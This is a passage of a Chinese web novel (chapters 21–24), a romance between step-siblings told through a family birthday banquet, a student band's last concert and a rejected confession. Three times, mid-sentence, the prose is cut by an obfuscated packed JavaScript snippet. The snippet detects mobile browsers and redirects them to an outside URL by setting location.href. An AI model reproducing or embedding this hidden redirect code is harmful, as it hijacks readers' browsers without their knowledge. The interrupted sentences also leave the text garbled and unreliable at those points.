把离离牵着再走回座位的路上,沈燎感受到了前所未有的骄傲。 他将要有一个妹妹了。 后来用餐全程,离离都很开心,一直盯着对面的小哥哥看,而沈燎也乐得照顾妹妹,一下问要不要喝其他果汁,一下又问想不想吃小蛋糕。 看到他们俩相处得不错,沈君良和关瑶对视一眼,都放下心来。 直到那年的七月夏天,关瑶正式对离离说:“我们要搬过去和沈叔叔一起住了。” 离离问:“新爸爸?” 关瑶对她摇摇头:“等妈妈正式和沈叔叔在一起,他才是你的新爸爸。” 离离想了想,又问:“小哥哥?” 关瑶笑起来,揉揉她的脑袋,“是的,还有小哥哥,以后我们四个人会一块儿生活。” 这些年,沈离离很少会想起母亲。 一旦那些如同褪色相片似的画面在脑海浮现,甚至一旦同别人聊起母亲,她就会控制不住地流泪。 好像妈妈和三叔出意外那年,她迷茫而干涸的眼泪,都在经年之后才反应过来。 她有些迟钝地,才真正意识到他们离开的事实。 妈妈不会再满屋子嚷嚷我的手机在哪里,不会和三叔笑着打闹,不会叮嘱两个孩子好好学习,不会每次下班后都给她带最喜欢的零食,家里也不再有定期更换的鲜花。 回忆变成泪水,从眼角渗出来。 沈燎没有说任何话,很安静地把她的手轻轻握住。 沈离离没有难过太久,接过沈燎递的纸擦了擦脸,盯着关瑶的墓碑看了一会儿。 “哥,我们回家吧。” 沈燎想,无论如何,他都做不到了,做不到吐露那些不合时宜的感情,因为他不能把他们的家毁掉。 只要她想,只要她还需要这个家,他宁愿一辈子当她的哥哥。 21. 第 21 章 五月底是沈君玉的生日。沈离离很早就准备好了礼物,只是为隆重的生日宴发愁。 沈君玉的生日宴必然是要到某个高档餐厅吃一桌满汉全席,桌上觥筹交错,大家全都笑得客套又礼貌。 沈离离很理解这个圈子的社交需要,但不代表能习惯。 往年的生日宴,若非必要,她都找理由逃掉了,姑姑对此心知肚明,也并不强求。 但今年,不知道沈燎会不会去。 沈离离坐在宿舍电脑前,戴着耳机,走神地听着配乐。脑子里想的还是姑姑生日的事。 她静不下心,索性摘了耳机,给沈燎发消息询问。 沈燎很快回她:我肯定得去。你不想的话随便找个理由就好了,姑姑知道你的性格。 沈离离很冲动地发了一句:没关系,我跟你一起。 消息发出去后就产生了撤回的想法。 不过速度更快的是沈燎的回复:那到时我去接你,周三下午? 沈离离:嗯嗯好的。 她丢开手机,有点郁闷地长叹一声。 那时她并不知道,自己后来会有多庆幸去了这一趟。 周三下午,沈离离到点就出校门等待沈燎。沈燎下了班直接赶过来接她,然后再往目的地的餐厅去。 沈君玉订的是家很有名的江景餐厅,包厢内就有可以观景的落地窗。 两人进门时里面两张桌子已经快坐满,一张大圆桌,一张稍小的方桌,俗称小孩儿那桌。撑着热情的笑脸打完招呼,沈离离如愿去了小方桌。 她拖开椅子,转身看了眼沈燎,喧闹中与他对视几秒。 沈燎对她露出一个带着点无奈的笑,她也忍不住一笑。不再需要其他交流,她回过头。 原来坐哪张桌子,并不是由年龄决定,而是有些身不由己的隐形规则。或许等到未来,她有了目的,有了想要得到的东西,需要谋划,就也得坐到那一桌去。 “离离姐。”旁边的男生对她点了下头。 是沈君玉的儿子林砚洲。他坐在旁边,沈离离放松了很多,“砚洲,今天不上课吗?” “请假了,没什么重要的课。”他说。 高中居然能没有重要的课。 沈离离有时也会有点佩服这些文化课优秀的小孩,她从小学就已经定下了音乐道路,大把的时间都花在上面,始终没体会过文化成绩名列前茅的感觉。 她问他会不会为考试紧张。 林砚洲很稳重地说:“偶尔会。” 她没忍住笑了笑。 “离离姐,”林砚洲忽然正色了些,说:“我听说,沈家清明祭祖你没去?” 沈离离听得出他没有恶意,回答道:“嗯,没去,就吃了个晚饭。” “你的意思是完全脱离沈家?” 他的直白让沈离离稍稍惊讶,但也让对话更轻松,“其实我原本也算不上沈家人,这样总比继续不伦不类地待在那儿更舒服。” 林砚洲说:“我明白了。” 两人都不是话多的性格,但在这张桌上最熟悉的就是对方,自然聊的多一些。 很快,服务员把菜上齐,众人动筷前都去祝贺沈君玉生日。虽然大家都知道这顿饭得吃少一点,后面必然还有个豪华蛋糕,但桌上的菜品实在琳琅满目,十分诱人。 那边在说着不重样的恭维话,这边的年轻人也由最活泼的带头聊起来了。 饭桌上的话题,无论年纪大小,总归是离不开八卦传闻,这群富家子弟或许会延伸到昂贵的爱好,繁重的学业,或者玩乐的心得……不过总体还算谦逊。 沈离离心不在焉地吃着,听着,偶尔被提到时搭话几句,陪对方笑一笑。 比起她的随和,林砚洲性格更古怪些,过分严肃,除非感兴趣的话题,否则默不作声,并不参与附和。 或许因为占了尚未完全进入职场的便宜,坐在这一桌,这顿饭吃得比沈离离想的要快乐多了。 众人都吃得差不多,服务员陆陆续续把餐盘收下去,一位女士招手吩咐了一声,很快就有人推着精致的多层大蛋糕走进来。 庆生活动才正式开始。 大家全都站起来,围到沈君玉身边,笑着祝福她。她拉了拉站在身后的儿子的手,脸上的笑容无懈可击,一句句回应祝贺。 宽阔的宴会包厢里,热闹非凡。 沈离离不太懂该如何形容这样的热闹。 昂贵的礼物在包厢的一个角落堆成小山,华而不实的蛋糕和彩带尽职尽责地烘托气氛,所有人都在欢笑,幸福又快乐地为主人庆祝生日。 沈燎自然也在其中,他今天也穿了一丝不苟的正装,可能还喷了发胶,看起来比出现在沈离离学校的青春版沈燎要成熟了不止十岁。他友好对攀谈者微笑,别人也上赶着去恭维他。 对沈离离来说,简直称得上陌生。无论看过多少次,都会发出这样的感慨。 就在这时,巨大的落地窗外,忽然响起烟花炸开的声音。 砰砰—— 众人一阵惊喜,全都抬头往窗外看。 海文港外,夜空之上,烟花炸了近五分钟,短暂地点亮了这整片区域。尾声是一个爱心,像是为告白放的。 沈君玉笑道:“也算沾了人家的光,还能看场烟花。” “看来今天日子确实好。” “沈总要是喜欢,叫人再去放几场!” “哈哈,那倒不用,都是年轻人爱的东西了。” “这叫浪漫,什么时候都不晚……” …… 沈离离忽然听到旁边的一个年轻女孩在说:“不过比起年初二那晚,还是差多了。” 另一青年也说:“那可是放了十多分钟吧?” 这两人刚才在饭桌上也很热情,沈离离想了想,也加入了聊天:“我当时去凑了热闹,记得是二十分钟。” 女孩立即点头:“我也去看了,真的超级浪漫啊。” 青年笑说:“你们女孩儿怎么什么都觉得浪漫。” “怎么不浪漫?谁放二十分钟烟花给我告白,我肯定要心动。” 沈离离愣神几秒,问:“那场烟花秀也是有人为告白放的?” 女孩笑着对她说:“对啊,这事那阵子都在圈里传遍了。我也是听朋友说的,不知道是哪个少爷,给喜欢的女孩子放的,还办了游艇趴,专门让她看烟花。” 沈离离定住了。 那青年哼笑一声,道:“不就是场烟花。” 女孩瞧他一眼,哼了一声:“确实花不了多少钱,但有几个男的有这份心呢。” “心思花在更实在的东西上,不更好?” 两人打打闹闹,话题扯得更远了。 直到去切蛋糕时,沈离离才回神,再次找到那个女孩。 她小声问:“那场烟花秀是谁放的呀?姓项吗?” 绝对是吧,游艇派对的主人就是项云天,就算是给喜欢的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321103|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女孩,烟花也应该是他放的才对。 女孩对她摇摇头,也凑近她的脸,耳语:“具体是谁不知道,不过我听说是沈家人。” 她眼睛瞧着那边在众人簇拥中的生日宴主人沈君玉,继续说:“反正沈陆两家情种最多,沈家这辈的几个年轻人,沈什么山的那些,都挺爱玩的。”说完才反应过来,问:“我的天哪,宝宝你是不是姓沈?” 沈离离对她笑着说:“放心放心,我不是沈家的人,我是以前被君玉姑姑关照过,跟她认识而已。” 她发现自己总能一本正经地扯出一些半真半假的话。 听她这样说,那女孩子才放心,继续和她聊起沈家人的八卦。 可惜直到最后也没能问出年初二那场烟花秀到底是谁为谁放的,只是大多数传言中,这个深情少爷是姓沈。 沈离离不记得那天晚上的游艇中有没有其他姓沈的人。 但想要搞清楚这个问题的答案,对她来说其实再简单不过。即使沈燎推说自己不知道,她也可以找骆雪问到项云天的联系方式。 可是她没有做好任何准备,无论结果是不是她所期待的那一种。 自从在露营烧烤那天遇到项云天,听他说完那些话,又偷偷去看了沈燎手机壁纸之后,沈离离就有种坠入梦境的错觉。 从前她习以为常的,甚至隐隐觉得痛苦的细节,那天之后全都变味了。酸涩的柠檬水,竟然也能凝结成柔软甜蜜的棉花糖。 一旦思绪闲暇,她就忍不住问自己,是真的吗?会是真的吗? 他做了那么多之后,他们一起做了那么多之后,他真的还是只把她当妹妹吗? 沈离离没有谋定而后动的习惯,她想要的东西,总是更想立刻得到。 可是坠落的恐惧也如影随形,猜测在没有得到确实的验证之前,终究是梦境。 生日宴结束后,还有其他夜间活动,不过沈燎的目的基本达到,问了沈离离意见,带着她去和沈君玉道别。 姑姑今晚心情大好,笑着对他们摆摆手,随口嘱咐:“路上注意安全。” “好,您玩得开心。”沈燎点了点头,趁着夜色,与沈离离一同走出餐厅。 回家路上,沈离离沉默了半天,忽然说:“哥,我昨晚做了个梦。” “嗯?”沈燎侧头看了她一眼,“什么梦?” 车子行经江景,左边是高楼林立,右边是江水悠悠。 打开窗,能吹到晚春夜晚清凉的风。 沈离离把脸转向窗外,眼珠跟着飞速掠过的景色,来回移动。 她笑了笑,回过头看他,答非所问说:“梦里还有你。” 沈燎也笑说:“这样啊,那这一回,我在你梦里是什么人?该不会还像小时候一样,变成跟你抢游戏手柄的北极熊吧?” “才不是啦,”她噗嗤一声,“我小时候哪里做过这种梦?” “你做过,醒起来还跟我生了一天的闷气。” 她真有些不敢相信,十分好笑地问:“什么时候?我怎么没印象。” “你九岁的时候,”他信誓旦旦,“我当时还哄了你好久,搭进去一个游戏机。” “我才没那么幼稚,沈燎你肯定记错了,休想污蔑我。” “哈,”沈燎大笑,故作无奈地叹了口气:“没想到摊上个赖皮鬼。” 沈离离转回头,重新看向窗外,脸上依然满含笑意。 你在我梦里是什么人?是我的爱人啊。 22. 第 22 章 姑姑的生日过去,五月接近尾声,沈离离将迎来的不止有乐队的最后一场演出,还有语言考试。 她的考试就在演出后的第二天,于是四人商量后将那顿散伙饭订在了下一个周末。 朋友们都觉得可惜,哪有大学生乐队尚未毕业就要解散的,这才一起玩了三年不到的时间。 不止朋友,连他们自己也觉得可惜,但除了杨敬澄,其他人都没法继续投入更多精力,只好选择暂停。 杨敬澄说:“要是你们以后闲下来了,还想一起玩,随时来找我。” 大家都听得出,他是并不打算真的放弃乐队的意思。 但最终只有殷恒答了声好。 六月初,夏日已至,气温升高,走在校园里能听见阵阵蝉鸣。今年的酷暑好像来得格外早。 明天晚上就是正式演出,今晚必然还要再去趟排练室。 沈离离下了课,走在路上,想了想,掏出手机给沈燎发了条消息:明晚最后一场演出哦,还放我鸽子吗? 沈燎:风雨无阻! 她看着那四个字笑了。 这一回,沈燎确实没再食言。演出尚未开始,他就到了livehouse现场,看起来是准备充分,甚至不知道从哪弄来个写着乐队名的小灯牌。 今天仍然是一身街头风味的潮流穿搭。 沈离离笑着带他去后台等待,沈燎不疾不徐走在她侧边,目光像是没有从她脸上离开过。 她已经画好妆,穿了浅蓝色的纱裙,仙气飘飘,但头发梳成两个很对称的丸子,正面看像小熊耳朵。 被盯得实在不好意思,沈离离抬眼瞪他,“哥你别看我了。” 沈燎笑得坦坦荡荡,抬手轻轻拨弄她的小丸子,“我妹妹,还不让我看了?” 她好笑又无奈,伸手去把他的手捉下来。 到了后台休息处,她介绍道:“这是我哥,沈燎。哥,这是陈夏安,杨敬澄,和殷恒。” 殷恒很礼貌地点了点头,并不多言。 陈夏安笑说:“沈燎哥好,咱们倒是见过一面啦,不过今天很帅哦。” 杨敬澄拘谨地问了声好,转头对陈夏安说:“我跟沈燎哥见过两面了。” 陈夏安用手肘撞他,“那你很了不起了。” 沈燎笑道:“承蒙各位照顾离离。” 这话还是有点耳熟。杨敬澄连忙摆手:“不会不会,离离是女孩子嘛,都是应该的。” 殷恒有点无语地看了他一眼。陈夏安叹气。 沈燎笑而不语。 见过一面后,沈离离带着沈燎离开,去前面找个好位置了。 “我们的演出还有一会儿,快到的时候我再过去。” 沈燎点了点头,低头认真对她说:“你注意时间,别耽误演出,不用在意我。” “放心吧,我知道的。” 沈离离一直觉得,以沈燎从前那样的性格,对这种娱乐程度的乐队现场应该是适应良好的。没想到是她高估了现在的沈燎。 演出正式开始后,第一个出场的乐队就点燃了全场气氛,接下来的几场都很爆,台下观众大多举着手机拍摄,但这并不妨碍舞动。 室内场地,人多起来又挤又闷,大家忘情地欢呼跟唱,甚至蹦蹦跳跳。 沈离离在跟着跳起来之前,看见了沈燎震惊的表情。 他们站在前排,离音响很近,音乐声震耳欲聋,身后的人潮也颇有种排山倒海之势。 气氛一点点推向高潮,肾上腺素飙升的环境中,沈离离大笑着拉起沈燎的手,带着他跳起来。 沈燎转头,望向她肆无忌惮的,浸泡在斑斓彩灯下的笑脸。 台上的主唱握着麦克风,在激烈的伴奏中放声高歌:“那就抓紧我的手,永远别分开——” 全都是激昂的,疯狂的,这并不是专属于谁的音乐或世界,是属于所有人的。 不到一个小时,沈燎已经完全进入状态。 忽然间,沈离离轻轻松开了他的手。 他低头朝她看过去,她眼睛亮闪闪的,对他说:“我先过去了,哥你等我!” 他下意识握紧了她的手,说:“你还能找回来吗?” 她笑着:“能的,我一下就能找到你。” 他把手松开,看着她像一尾鱼游入人海,几秒的光景,消失不见。这么挤的地方,他觉得她能找回来的几率不大。 沈离离走后的演出,沈燎都看得心不在焉,这样沉浸的氛围里,他还是做不到全身心投入。 脑子里都是她。两个人长时间交握的手,掌心的细汗,腕上脉搏跳动的频率,还有她闪闪发光的眼睛…… “大家好!我们是象限海。” 不知道过去多久,沈燎再次听见熟悉的声音,仰头看去,刚才拉在身边的女孩子已经站在台上,舞台灯光似乎更加耀眼,她漂亮得不像真人。 陈夏安握着话筒说:“不出意外的话,这应该是我们近期的最后一场演出,因为一些不可逆的原因,大家都得奔向各自的生活啦。” 粉丝们很遗憾,虽然只是个影响力微薄的学生乐队,这件事也早在社交媒体上说过,但真正告别这天,终究让人很难接受。 沈燎听见身后还有人轻声抽泣。 “但今天,我们也为大家带来一首新歌,是由我们的离离同学独立制作完成的——脉搏!”陈夏安笑着向沈离离抬手。 台下一阵欢呼声。 演出正式开始。 沈离离用键盘弹响了脉搏的前奏,接着是陈夏安的吉他声和殷恒的鼓声,一段循序渐进的前奏后,很快进入了演唱。 沈离离将脸凑近麦克风,开口唱出来。 和陈夏安那样有厚度与磁性的嗓音不同,她是典型的细嗓,整首歌的演唱都没有太难或炫技的部分,但搭配起奏乐,却让人听得十分舒服,像是涓涓细流,温柔地淌过去,滑过一切带着棱角的溪石。清澈透亮,玻璃杯一样的质地。 杨敬澄的贝斯声贯穿始终,低低的震动,似乎也在营造浪漫底色。 间奏时,沈离离的手离开键盘,拿起了一旁的小提琴,拉出主旋律。没有人会觉得小提琴的音色在此时显得突兀,一切都仿佛是恰到好处的。 沈燎震撼得说不出话,怔在原地,僵硬地举着手机录像。 台下安宁静谧,周围的人们都举着闪光灯,跟随音乐轻轻摇摆。 “它是敲打左胸的叛徒,瓦解所有佯装的从容。 它是穿透时空的暗号,筑造世界最小的发射站。 候鸟用翅膀丈量云层时,我正用回忆丈量你的影子。 当黄昏按下暂停键之时,心跳成为唯一计时方式。” 台上的沈离离美丽从容,自信又大方,她能沐浴在聚光灯下,笑着展示自己的才华,也能独自走过每一个风雨交加的无人深夜。 沈燎不止一次如此清晰地意识到她已经长大,而且优秀得让他惊喜,也让他悲伤。 不再是能够随意揉乱她的头发,小心翼翼嗅着她身上的清香,放任她的发尾扫过他指尖的那个小女孩了。 她有自己的热爱,有自己的生活,将来或许也会有另一个家。 他无法再以这个虚假的哥哥的名义占有她了。 但假如呢?假如,她其实还需要一个港湾,还需要这个家。 《脉搏》结束后,象限海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321104|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有三首歌,沈离离笑着将主唱交还给陈夏安。 三首歌结束,他们在热烈的掌声中退场离开。 后台,四人如释重负,沈离离和陈夏安抱在一起大笑,“今天发挥得超好啊离离,我刚开始还有点担心你紧张。” 沈离离情绪抵达顶点,十分亢奋,笑得有点臭屁,“哼哼,我是谁!” “哈哈哈,”陈夏安笑起来,“好好好,是我们的最强键盘沈大小姐。” - 象限海退场后,沈燎怅然若失,觉得后面的全都没什么意思了。 他抬头观察了一下场内各处位置,回想刚才沈离离带他从后台过来的路径,然后面无表情地撤走,照着她离开的路线找了过去。 站在原地等,他确实做不到。 收拾好乐器和其他东西,陈夏安先行离开,走前还嘱咐了句:“下周末不见不散啊!” “知道!”沈离离笑着回她。 殷恒收了鼓棒后就回场内找女朋友去了,沈离离刚想喊住他一起过去,但一想他们不在一处地方,便又及时停下了。 她抬头看了眼杨敬澄,“你还不走吗?” 她今天带的东西有点多,收拾得很慢,但杨敬澄没理由那么慢。 后者慢慢挪动脚步,支支吾吾道:“我再等会儿。” 她笑了笑,“你也要去前面挤一挤?” “我不去。”说完,他忽然停住,“你还要去?” “对呀,我哥还在。” 她装好东西,没立刻带走,打算结束后叫沈燎来当免费搬运工。 转身时,忽然被叫住:“离离!等一下,我有话想跟你说。” 沈离离应声回头,乍然愣住。 杨敬澄手里抱着一束不知从哪掏出来的红玫瑰,包得很漂亮,在黑色的纸里显得更加高贵美艳。 杨敬澄紧张得有点胃疼,怀疑自己的心跳声已经放肆到被对面的女生听得一清二楚。 他郑重地清了清嗓子,刚要开口说话,一抬眼,猝然被门框边站着的男人吓得失语。 是沈燎。 他好整以暇地站在沈离离身后,盯着他,不作声,眼神冷淡。 “呃,离离,”杨敬澄猛地回过神,重新看向沈离离,“有些话,其实我很早,就,就想说,就是,之前一直没机会,我其实——” “杨敬澄,”沈离离出声打断,音量并不高,甚至带着微笑,堪称温柔,但语气确是不容质疑的,“我知道你想说什么,我其实,一直觉得你是一个很好的人,也把你当成我最好最好的朋友之一,只是我确实不能收你的花,就是因为知道你很好,所以我更不能辜负你。” “为……为什么呢,”杨敬澄讷讷的,呆呆望着她,“你不会辜负我啊,离离,我,我们就试试,不可以吗?” 沈离离轻轻摇头,很抱歉地对他笑了笑,“我心里有放不下的人。” 离开前,她认真地说:“你以后一定会遇到一个真正合适,而且真心相爱的人。” 异常短暂的告白和拒绝,结束了。 杨敬澄僵硬地抱着花,苦笑一声,不敢再抬头看她一眼,“对不起,打扰你了。” “怎么会,谢谢你愿意告诉我,”她说,“知道自己被某个人欣赏,真的真的是一件很幸福的事情,谢谢你杨敬澄,只要你愿意,我想一直把你当最好的朋友。” 沈离离抿了抿唇,长长地吐出一口气,转身轻轻走出房间。 她站在走廊里僵站了好一会儿,脑袋其实空了。 几秒后,再次深呼吸,拍了拍脸,才继续往前面走。 一个拐角,转过弯后,猝不及防地撞上了某人的胸膛。 23. 第 23 章 她下意识说了声抱歉,话音刚落,抬起头一看,果然是熟悉的脸。 “这么急做什么?”沈燎微笑看着她。 “哥?你怎么过来了,我刚打算过去你那边。” “感觉后面没什么好看,就来找你了。”他歪了下头,问她,“想回家吗?” 沈离离没怎么犹豫,点头说:“有点想。” 莫名的直觉,她感觉沈燎现在的心情不大好,总之没有她离开前那么愉快。 怎么回事?他不喜欢那首歌? “那走吧,去拿你的东西。”他拍了拍她的肩膀,似乎想揽住她,但手臂一触即离。 沈离离转回去,走了几步,才乍然想起来房间里还有杨敬澄。这时候过去未免太尴尬。 “呃,哥,”她又转身,面向他,笑着问:“怎么样,我今晚的表现,不给个评价吗?” 沈燎作势回忆了一番,脸上重新浮现笑意,“那我就斗胆点评一下了?” “随意点评。”她笑道。 沈燎轻咳一声,颇有些装模作样,“音准不行,唱歌跑调,演奏软绵无力……” 沈离离越听越不对劲,睁大眼睛,看着他,有点不可置信。 沈燎噗嗤一声,接着说:“这些都是我的问题。给你的评价呢——完美。” “哇沈燎!”沈离离憋不住,放声笑出来,怒砸他的胸口,“竟敢耍我,你完了。” “哈哈,”沈燎接住她的拳头,“我错了我错了……” 他的目光稍稍往她身后一瞥,在她未注意到的地方冷了一霎。 沈燎伸手,把她往自己身边拉了一下,她本能挪动步子,两人更凑近几分。今天她身上没有了平日里让他熟悉的那种气味,取代的是另一种浓郁甜香,大概是喷了香水。 沈离离疑惑地转头,发现刚好有人路过。原来是因为这个才突然把她拉近。 “走吧。”沈燎说。 休息室里空无一人,很安静。 沈离离留意了一下,杨敬澄的东西已经被他带走,只有那束红玫瑰,被随意地扔在桌上。 她向鲜艳的花束投去了短暂目光。沈燎等在门口,没有进来,脸上没什么表情,只有视线,死死跟随沈离离的背影。 稍后,她背着键盘,提着一个双肩包和小提琴的琴盒走出来,沈燎立刻把她背上的键盘接过。 “都拿完了?” 她把双肩包背好,“拿完了。” 沈燎点了个头,转身往外走。 沈燎记性很不错,方向感也好得出奇,记路尤其厉害。沈离离只带他走过一次,他已经能轻车熟路地走在前面。 沈离离显然已经习惯了他的超强方向感,很放心地跟在他侧后方。 两个人无端地沉默了好一会儿。 沈离离望着越拉越远的距离,有点摸不着头脑,才出声说:“哥你慢点。” 沈燎猛地一顿,像是才回过神,“对不起。” “这有什么好道歉的。”她笑说。 沈燎没说话,有点欲言又止的意味。 沈离离越发觉得气氛不对劲,想问些什么,又不知道该怎么问。明明是该开心的,演出顺利完成了,没有出一点差错,他也如约而至。 或许是因为刚才的告白,她心中满含无奈,情绪自然低落下去。 “离离,”沈燎忽然开口了,语气难辨喜怒,似乎是漫不经心的,“刚才休息室里,好像有一束花?” 沈离离不大自在,盯着长长的走廊尽头,“嗯……” “你们乐队那个男生带来的,是吧?”开了口,之后的话就没那么难了,沈燎说得很平静,“是给你的?” 沈离离登时一愣,没想过他为什么会这样猜测,只是陷入纠结。 该不该说实话,还有,他问她这话是什么意思,又是站在什么立场上问。 “是……”她回答,有些避重就轻的意思,“可能因为今天比较特殊,之后大家就很难聚在一起演出了。” “这样啊。”沈燎了解似的颔首。 之后,他没有再问。 他们上了车,然后一起去吃牛排自助,谁都没有再提那束花,仿佛这样就能恢复之前的轻松气氛。 见沈燎点了一杯咖啡,沈离离说:“这个时间还喝,今晚不想睡觉啦?” 他笑:“就算不喝,也睡不着了。放心,明早怎么样也能起来送你去考试。” “说话算话,别让我去你房间砸门哦。” 沈燎:“欢迎来砸门。” 沈离离望着他哼哼笑,“砸坏了也算你的。” “哟,我们大小姐手劲什么时候那么大了?” 沈离离拿起餐刀切牛排,准备一展手劲,“你不知道的还多着呢。” 切了半天,才叉起一块,沈燎坐在对面看着她笑。过了一会儿,他起身绕过来,将牛排板移到面前,从善如流地把她的餐刀和叉子接过去,一块块给她切好,手法很娴熟。 沈离离没有挪动位置,与他挨得很近,目光在他握刀的手,和认真的眉眼间流连。 沈燎身上一般少有气味,他不爱用香水,从前和现在都是。但沈离离总能闻到,或者说,感受到他。 有时他只是从她身后经过,她转身一刹,就能意识到他的存在。似乎是声音与细微气味的叠加,形成了这样的感受。 她本身的感官其实并不十分敏锐,只是唯独能认出他。这点颇有些玄妙。 而此刻,他仅仅是随意坐在她身旁,在为她切牛排,她就已经听见自己急促的心跳,甚至能感受到他的呼吸。 沈离离轻轻屏住呼吸。 “哥,”她说,“刚才在休息室,你还没过来的时候,我朋友他其实,是在跟我告白。” 她缓慢地说,他也耐心地听着,默不作声。 沈离离悄悄观察他的表情,不想错过丝毫细节。 但让人失望的是,沈燎面色始终平静,毫无波澜,直到帮她切完一整块全熟牛排,才微微抬眼,出声:“嗯,那你怎么想的?” “我只把他当好朋友,拒绝掉了。” 沈燎看向她。 沈离离回以一个异常坚定的对视。 沈燎忽然一笑,鼻间呼出个气音。他起身,回到自己的座位上,边说:“挺好的,说明我们家离离很优秀,也懂确定自己的心意。不过呢——” 她眼睛一刻不移地瞧着他。 沈燎也看向她:“以后要是有喜欢的人,别冲动,先让你哥看看,配不配得上。” “好啊。”沈离离笑了声,低头叉了块肉,“那你觉得,什么样的人和我相配?”她歪了歪头,问道。 他动作微微一顿。 沈离离怀疑他可能真在仔细思考这个问题。 半晌,沈燎认输似的叹了口气,“算了。没有配不配得上,你喜欢就行,别的问题……总有解决办法。” “会有什么问题。谈恋爱,不就是两个人真心相爱么?”她随意地说。 沈燎笑了声,没回答她的话,只是目光直勾勾盯住她,“想谈恋爱了?” “有一点吧,不过这种事,还是顺其自然。”她微微一笑。 吃完晚餐,两人一起回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321105|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了沈离离那儿。 这晚她睡得很香,一夜无梦。 次日的语言考试也没有出什么意外,沈燎居然真的准时起床,给她准备了早餐,又亲自送她到考场,只是看上去比她本人还要紧张。 考试结束后,沈燎也保持从前的习惯,绝不主动问起考试感想或结果预估之类的话。 不过见沈离离一路蹦跶着跑出来,脸上笑容灿烂,他估计是没什么大问题。 沈离离没在沈燎那里留太久,吃完饭,坐他的车回了自己家。 关上门后,她立刻跑到二楼,踮脚趴在露台上,目送他的车离开,好半晌没有挪动步子。 一直到车子走远,完全看不见了,脚后跟才落回地面。 回到房间,沈离离把自己摔进被窝里躺了一会儿。拿起手机,解除静音,看见陈夏安发的消息:考试怎么样? 她回:自我感觉良好。 陈夏安发了一串哈哈哈:那就好,我就说嘛,完全不用担心你。 几秒后,陈夏安:昨天杨敬澄是不是跟你表白了? 提起这件事沈离离就忍不住叹气。 沈离离:对。好啊陈安安,那么大的事,你提前知道竟然不告诉我。 陈夏安:冤枉啊大人!我只是看见他偷偷摸摸抱了一束花进来,不是告白是什么。反正,我不信你没看出来他喜欢你。 没看出来肯定是不可能的,其实甚至连拒绝的话,她也是早就想好了的。 沈离离不是那种对这方面不敏感的女生,照杨敬澄爱玩又不着调的性格,对她总是态度很温和,就已经不太对劲了。 杨敬澄确实挺喜欢她,这点她没法否认,但她绝不认为他爱她。 她是不会和自己不喜欢,且没那么爱自己的人进入关系的。 世界上大部分的喜欢,对她来说都太浅太淡,没有那种充盈的,舒服得像是冬日炭火一样的安全感。它们像是被稀释过的蜂蜜水,已经失去了最浓郁,也最核心的味道。她不要喜欢,只要爱,只要无法被分割,永远围绕着彼此运动的那一种爱。 相当长的一段时间,沈离离认为自己这辈子也没办法找到理想之爱。 直到,直到…… 沈离离:不管看没看出来,我都不会和他在一起啦。 陈夏安:hhhh意料之中,可怜的小杨被爱情玩弄于鼓掌。 陈夏安:但我还挺好奇你为什么拒绝那么干脆,离离,我一直以为你对他挺有好感来着。 她的意思是,至少会给个考虑的借口,不那么直接。 经过短暂犹豫后,沈离离回复:可能因为,我有喜欢的人。 对面发来一串感叹号。 沈离离也惊讶,居然不是问号。 陈夏安发来语音:“我就知道。我好像已经猜到是谁了。” 沈离离同样震惊:“你怎么就猜到了,有那么明显吗?” 陈夏安打字发来一条消息:SL是吧? 这一回,沈离离瞬间从床上弹起来,捧着手机,看着陈夏安发来的几个字,内心陷入巨大惶恐,无法平静。 这不对吧? 真的有那么明显吗?不会吧…… 她呆呆的,回过去一句:怎么看出来的? 过了好一会儿,等得沈离离无比焦虑,抱着手机在房间里转来转去,陈夏安终于回了:细节可太多了,我都懒得一个个举证,不过,我不止看出来你喜欢他,我还能看出来他也喜欢你。 几秒后,陈夏安发了语音,话里带着点笑:“青梅竹马十多年,男有情女有意的,还不打算告白啊?” 24. 第 24 章 当天下午,沈离离就把陈夏安约出来了。 陈夏安乐得当恋爱军师,两人坐在常去的烤肉店里,一人严阵以待,一人满脸揶揄。 沈离离对陈夏安讲了自己所认为的所有可疑之处,然后脸色凝重说:“假如,我是说假如,他真的喜欢我……” 肉还在烤,陈夏安一边吃着开胃菜,一边对她说:“别假如了,他就是喜欢你。” 沈离离没说话,抿唇,看了她一眼。 陈夏安泰然自若,一副过来人的神色,“就你喝醉那天晚上,一般的兄妹怎么可能是那种互动,还好你们不是亲的。不过如果是亲的,肯定也不会这样亲密。” “是亲的……不应该更亲密吗?” “宝贝,亲兄妹是会避嫌的,而且怎么可能爱护对方到这种程度。” 承诺谈恋爱一定会经过妹妹的同意,专门在新家为妹妹留唯一的房间,甚至有很大可能,在新年时专门为妹妹放了一场盛大的烟花秀…… 